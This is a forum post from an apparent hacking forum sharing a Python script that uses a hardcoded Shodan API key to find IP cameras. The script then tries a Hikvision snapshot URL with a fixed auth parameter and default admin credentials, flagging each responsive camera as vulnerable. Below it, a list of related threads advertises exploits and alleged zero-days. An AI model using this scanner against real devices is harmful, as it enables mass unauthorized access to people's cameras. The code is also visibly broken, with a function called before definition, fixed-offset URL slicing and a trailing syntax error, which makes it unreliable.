Hikevision POC AUTOMATİC IP SCANNER
by Mr_subProcess - Sunday March 23, 2025 at 12:35 PM
#1
import requests
from requests.auth import HTTPBasicAuth
import shodan
import time

api = shodan.Shodan("4Y2JH2Yu76vgLmnUW78X5JV45xcKXfGz")

try:
    de = input("Shodan(s) or Manuel ip(m) :")
    if de == "s":
        a = request_page_from_shodan("ip camera")
    else:
        ip = input("Give me hikvision camera ip: ")
except Exception as e:
    print("Error: ", e)

def request_page_from_shodan(query):
    while True:
        try:
            instances = api.search(query)
            return instances
        except shodan.APIError as e:
            print(f"Error: {e}")
            time.sleep(5)

x = request_page_from_shodan("ip camera")
print(x)

url = "http:///onvif-http/snapshot?auth=YWRtaW46MTEK"

user = "admin"
password = "11"

def main():
    for result in x["matches"]:
        try:
            # Shodan'dan alınan IP'yi URL'ye ekliyoruz
            target_url = url[:6] + result['ip_str'] + url[37:]
            response = requests.get(target_url, auth=HTTPBasicAuth(user, password), timeout=5)
            if response.status_code == 200:
                print(f"Camera at {result['ip_str']} is vulnerable")
            else:
                print(f"Camera at {result['ip_str']} is not vulnerable")
        except Exception as e:
            print("Error: ", e)

    try:
        target_url = url[:6] + ip + url[37:]
        response = requests.get(target_url, auth=HTTPBasicAuth(user, password), timeout=5)
        if response.status_code == 200:
            print(f"Camera at {ip} is vulnerable")
        else:
            print(f"Camera at {ip} is not vulnerable")
    except Exception as x:
        print("Error: ", x)

main() :
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  {SECRET} DATABASE OF EXPLOITS lulagain 438 26,869 4 hours ago
Last Post: NUKEx
  [POC] Google OAuth "MultiLogin" endpoint 0-day Farfallaiero 108 13,836 Yesterday, 05:42 PM
Last Post: nobcoderfck
  Ban Any Discord Exploit phineasfisherman 7 475 Yesterday, 10:16 AM
Last Post: sniperx86
  Dokan Pro Unauthenticated SQL Injection POC | CVSS 10 Loki 42 3,785 Yesterday, 08:39 AM
Last Post: d39ug
  New Zer0 Day Wordpress A3g00n 81 3,418 May 05, 2026, 03:06 AM
Last Post: DirtyEra

Forum Jump:


 Users browsing this forum: 1 Guest(s)